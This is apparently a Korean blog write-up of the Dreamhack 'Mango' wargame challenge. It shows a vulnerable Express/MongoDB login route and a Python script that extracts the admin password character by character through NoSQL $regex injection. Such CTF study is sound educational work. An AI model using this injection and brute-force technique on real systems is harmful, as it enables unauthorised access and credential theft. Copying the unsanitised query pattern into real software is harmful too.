본문 바로가기

카테고리 없음

dreamhack Mango

728x90

데이터베이스에 저장된 admin 계정의 비밀번호에서 FLAG를 획득하는 문제이다.

 

문제 접속 화면이다.

 

login 요청 파라미터로 보인다. URL 뒤에 붙여보자.

 

guest라는 문구가 출력되며 왠지 guest로 로그인 됨을 알려주는 메시지 같다.

admin으로 테스트해보았다.

filter라는 문구가 나오는 것으로 보아 admin 계정은 필터링이 걸려있는 것 같다.

소스코드를 확인해보자.

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

 

 

필터링 문자열은 다음과 같다. 'admin', 'dh', 'admi' 

클라이언트 요청 값에서 해당 문자열들을 필터링 하고, uid와 upw를 충족시키는 user를 조회한다.

 

MongoDB 쿼리 사용 시에는 정규표현식들을 사용할 수 있기 때문에 이를 이용하여 admin 계정을 조회해보자.

계정은 admin으로 5글자 이며, 패스워드는 DH{~} 라는 형태이다.

문제에 힌트가 있다. 32글자의 알파벳+숫자라고 한다.

 

1. 플래그는 DH{32글자의 영문자/숫자 조합} 형태

2. 32개의 문자 조합 중에서 첫번째 문자를 무작위 대입하고, 나머지 문자는 정규표현식 길이로 조회

   예) .{2}{'1번째문자'.{32-1}

3. response 응답 값이 'admin'이 출력된다면 무작위 대입한 문자를 기억하여 다음 문자 조회에 활용

   예) .{2}{'1번째문자'+'2번째문자'.{32-2}

4. 1번째 문자부터 32번째 문자까지 동일하게 무작위 대입을 시도하고, 마지막으로 기억한 문자열을 출력

 

위 사항들을 참고하여 코드를 작성했다.

 

import requests
import string

list=['0','1','2','3','4','5','6','7','8','9']+list(string.ascii_lowercase)+list(string.ascii_uppercase);

url="http://host3.dreamhack.games:15032/login?uid[$regex]=.{5}&upw[$regex]=";

passwd=".{2}{"

for i in range(32):
    for j in range(len(list)): 
        response=requests.get(url+passwd+list[j]+".{"+str(32-i)+"}")

        if 'admin' in response.text:
            passwd+=list[j]
            break;

print(passwd+"}")
출처: https://mokpo.tistory.com/127 [MSS:티스토리]

코드를 실행하면 flag 값을 얻을 수 있다.

 

출력된 flag를 DH{} 형식에 맞게 수정하면 된다.

 

https://dreamhack.io/wargame/challenges/90

 

Mango

Description 이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다. 플래그는 admin 계정의 비밀번호 입니다. 플래그의 형식은 DH{...} 입니다. {'uid': 'admin', 'upw': 'DH{32alphanumeric}'} Reference Serv

dreamhack.io

 

728x90